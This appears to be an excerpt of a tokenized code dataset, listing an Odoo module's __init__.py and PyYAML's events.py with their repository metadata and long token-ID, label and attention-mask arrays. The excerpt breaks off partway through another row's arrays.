repo_name
stringlengths 6
100
| path
stringlengths 4
294
| copies
stringclasses 981
values | size
stringlengths 4
6
| content
stringlengths 606
896k
| license
stringclasses 15
values | input_ids
listlengths 1.02k
1.02k
| labels
listlengths 1.02k
1.02k
| attention_mask
listlengths 1.02k
1.02k
|
|---|---|---|---|---|---|---|---|---|
nishad-jobsglobal/odoo-marriot
|
addons/product/__init__.py
|
443
|
1120
|
# -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
import product
import pricelist
import report
import partner
import wizard
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
|
agpl-3.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
4605,
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
199,
3,
259,
1898,
334,
35,
9,
8353,
13,
6542,
11947,
12361,
8642,
1014,
921,
9864,
14,
1235,
10121,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
199,
3,
259,
3267,
701,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
199,
3,
259,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
199,
646,
3336,
199,
646,
25162,
199,
646,
3622,
199,
646,
5854,
199,
646,
12262,
199,
3,
6695,
26,
10379,
26,
10558,
26,
6492,
29,
20,
26,
10503,
29,
20,
26,
10425,
29,
20,
26,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
4605,
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
199,
3,
259,
1898,
334,
35,
9,
8353,
13,
6542,
11947,
12361,
8642,
1014,
921,
9864,
14,
1235,
10121,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
199,
3,
259,
3267,
701,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
199,
3,
259,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
199,
646,
3336,
199,
646,
25162,
199,
646,
3622,
199,
646,
5854,
199,
646,
12262,
199,
3,
6695,
26,
10379,
26,
10558,
26,
6492,
29,
20,
26,
10503,
29,
20,
26,
10425,
29,
20,
26,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
youscreenit/node-config
|
node_modules/js-yaml/support/pyyaml-src/events.py
|
985
|
2445
|
# Abstract classes.
class Event(object):
def __init__(self, start_mark=None, end_mark=None):
self.start_mark = start_mark
self.end_mark = end_mark
def __repr__(self):
attributes = [key for key in ['anchor', 'tag', 'implicit', 'value']
if hasattr(self, key)]
arguments = ', '.join(['%s=%r' % (key, getattr(self, key))
for key in attributes])
return '%s(%s)' % (self.__class__.__name__, arguments)
class NodeEvent(Event):
def __init__(self, anchor, start_mark=None, end_mark=None):
self.anchor = anchor
self.start_mark = start_mark
self.end_mark = end_mark
class CollectionStartEvent(NodeEvent):
def __init__(self, anchor, tag, implicit, start_mark=None, end_mark=None,
flow_style=None):
self.anchor = anchor
self.tag = tag
self.implicit = implicit
self.start_mark = start_mark
self.end_mark = end_mark
self.flow_style = flow_style
class CollectionEndEvent(Event):
pass
# Implementations.
class StreamStartEvent(Event):
def __init__(self, start_mark=None, end_mark=None, encoding=None):
self.start_mark = start_mark
self.end_mark = end_mark
self.encoding = encoding
class StreamEndEvent(Event):
pass
class DocumentStartEvent(Event):
def __init__(self, start_mark=None, end_mark=None,
explicit=None, version=None, tags=None):
self.start_mark = start_mark
self.end_mark = end_mark
self.explicit = explicit
self.version = version
self.tags = tags
class DocumentEndEvent(Event):
def __init__(self, start_mark=None, end_mark=None,
explicit=None):
self.start_mark = start_mark
self.end_mark = end_mark
self.explicit = explicit
class AliasEvent(NodeEvent):
pass
class ScalarEvent(NodeEvent):
def __init__(self, anchor, tag, implicit, value,
start_mark=None, end_mark=None, style=None):
self.anchor = anchor
self.tag = tag
self.implicit = implicit
self.value = value
self.start_mark = start_mark
self.end_mark = end_mark
self.style = style
class SequenceStartEvent(CollectionStartEvent):
pass
class SequenceEndEvent(CollectionEndEvent):
pass
class MappingStartEvent(CollectionStartEvent):
pass
class MappingEndEvent(CollectionEndEvent):
pass
|
mit
|
[
199,
3,
11836,
3992,
14,
199,
199,
533,
6763,
8,
785,
304,
272,
347,
636,
826,
721,
277,
12,
1343,
63,
1657,
29,
403,
12,
1284,
63,
1657,
29,
403,
304,
267,
291,
14,
928,
63,
1657,
275,
1343,
63,
1657,
267,
291,
14,
500,
63,
1657,
275,
1284,
63,
1657,
272,
347,
636,
2722,
721,
277,
304,
267,
3004,
275,
359,
498,
367,
790,
315,
788,
11498,
297,
283,
1450,
297,
283,
11886,
297,
283,
585,
418,
355,
340,
2688,
8,
277,
12,
790,
1874,
267,
2368,
275,
1656,
1987,
904,
26861,
83,
2458,
82,
7,
450,
334,
498,
12,
2519,
8,
277,
12,
790,
430,
355,
367,
790,
315,
3004,
566,
267,
372,
1543,
83,
4042,
83,
3171,
450,
334,
277,
855,
533,
4914,
354,
3108,
2368,
9,
199,
199,
533,
5013,
2390,
8,
2390,
304,
272,
347,
636,
826,
721,
277,
12,
12514,
12,
1343,
63,
1657,
29,
403,
12,
1284,
63,
1657,
29,
403,
304,
267,
291,
14,
11498,
275,
12514,
267,
291,
14,
928,
63,
1657,
275,
1343,
63,
1657,
267,
291,
14,
500,
63,
1657,
275,
1284,
63,
1657,
199,
199,
533,
18003,
3162,
2390,
8,
1716,
2390,
304,
272,
347,
636,
826,
721,
277,
12,
12514,
12,
1947,
12,
9227,
12,
1343,
63,
1657,
29,
403,
12,
1284,
63,
1657,
29,
403,
12,
288,
6369,
63,
2487,
29,
403,
304,
267,
291,
14,
11498,
275,
12514,
267,
291,
14,
1450,
275,
1947,
267,
291,
14,
11886,
275,
9227,
267,
291,
14,
928,
63,
1657,
275,
1343,
63,
1657,
267,
291,
14,
500,
63,
1657,
275,
1284,
63,
1657,
267,
291,
14,
1659,
63,
2487,
275,
6369,
63,
2487,
199,
199,
533,
18003,
3005,
2390,
8,
2390,
304,
272,
986,
199,
199,
3,
22467,
1298,
14,
199,
199,
533,
8271,
3162,
2390,
8,
2390,
304,
272,
347,
636,
826,
721,
277,
12,
1343,
63,
1657,
29,
403,
12,
1284,
63,
1657,
29,
403,
12,
2644,
29,
403,
304,
267,
291,
14,
928,
63,
1657,
275,
1343,
63,
1657,
267,
291,
14,
500,
63,
1657,
275,
1284,
63,
1657,
267,
291,
14,
2991,
275,
2644,
199,
199,
533,
8271,
3005,
2390,
8,
2390,
304,
272,
986,
199,
199,
533,
7543,
3162,
2390,
8,
2390,
304,
272,
347,
636,
826,
721,
277,
12,
1343,
63,
1657,
29,
403,
12,
1284,
63,
1657,
29,
403,
12,
288,
5027,
29,
403,
12,
1015,
29,
403,
12,
3762,
29,
403,
304,
267,
291,
14,
928,
63,
1657,
275,
1343,
63,
1657,
267,
291,
14,
500,
63,
1657,
275,
1284,
63,
1657,
267,
291,
14,
10306,
275,
5027,
267,
291,
14,
1023,
275,
1015,
267,
291,
14,
2969,
275,
3762,
199,
199,
533,
7543,
3005,
2390,
8,
2390,
304,
272,
347,
636,
826,
721,
277,
12,
1343,
63,
1657,
29,
403,
12,
1284,
63,
1657,
29,
403,
12,
288,
5027,
29,
403,
304,
267,
291,
14,
928,
63,
1657,
275,
1343,
63,
1657,
267,
291,
14,
500,
63,
1657,
275,
1284,
63,
1657,
267,
291,
14,
10306,
275,
5027,
199,
199,
533,
24777,
2390,
8,
1716,
2390,
304,
272,
986,
199,
199,
533,
24289,
2390,
8,
1716,
2390,
304,
272,
347,
636,
826,
721,
277,
12,
12514,
12,
1947,
12,
9227,
12,
574,
12,
288,
1343,
63,
1657,
29,
403,
12,
1284,
63,
1657,
29,
403,
12,
3449,
29,
403,
304,
267,
291,
14,
11498,
275,
12514,
267,
291,
14,
1450,
275,
1947,
267,
291,
14,
11886,
275,
9227,
267,
291,
14,
585,
275,
574,
267,
291,
14,
928,
63,
1657,
275,
1343,
63,
1657,
267,
291,
14,
500,
63,
1657,
275,
1284,
63,
1657,
267,
291,
14,
2487,
275,
3449,
199,
199,
533,
10975,
3162,
2390,
8,
7768,
3162,
2390,
304,
272,
986,
199,
199,
533,
10975,
3005,
2390,
8,
7768,
3005,
2390,
304,
272,
986,
199,
199,
533,
12340,
3162,
2390,
8,
7768,
3162,
2390,
304,
272,
986,
199,
199,
533,
12340,
3005,
2390,
8,
7768,
3005,
2390,
304,
272,
986,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
3,
11836,
3992,
14,
199,
199,
533,
6763,
8,
785,
304,
272,
347,
636,
826,
721,
277,
12,
1343,
63,
1657,
29,
403,
12,
1284,
63,
1657,
29,
403,
304,
267,
291,
14,
928,
63,
1657,
275,
1343,
63,
1657,
267,
291,
14,
500,
63,
1657,
275,
1284,
63,
1657,
272,
347,
636,
2722,
721,
277,
304,
267,
3004,
275,
359,
498,
367,
790,
315,
788,
11498,
297,
283,
1450,
297,
283,
11886,
297,
283,
585,
418,
355,
340,
2688,
8,
277,
12,
790,
1874,
267,
2368,
275,
1656,
1987,
904,
26861,
83,
2458,
82,
7,
450,
334,
498,
12,
2519,
8,
277,
12,
790,
430,
355,
367,
790,
315,
3004,
566,
267,
372,
1543,
83,
4042,
83,
3171,
450,
334,
277,
855,
533,
4914,
354,
3108,
2368,
9,
199,
199,
533,
5013,
2390,
8,
2390,
304,
272,
347,
636,
826,
721,
277,
12,
12514,
12,
1343,
63,
1657,
29,
403,
12,
1284,
63,
1657,
29,
403,
304,
267,
291,
14,
11498,
275,
12514,
267,
291,
14,
928,
63,
1657,
275,
1343,
63,
1657,
267,
291,
14,
500,
63,
1657,
275,
1284,
63,
1657,
199,
199,
533,
18003,
3162,
2390,
8,
1716,
2390,
304,
272,
347,
636,
826,
721,
277,
12,
12514,
12,
1947,
12,
9227,
12,
1343,
63,
1657,
29,
403,
12,
1284,
63,
1657,
29,
403,
12,
288,
6369,
63,
2487,
29,
403,
304,
267,
291,
14,
11498,
275,
12514,
267,
291,
14,
1450,
275,
1947,
267,
291,
14,
11886,
275,
9227,
267,
291,
14,
928,
63,
1657,
275,
1343,
63,
1657,
267,
291,
14,
500,
63,
1657,
275,
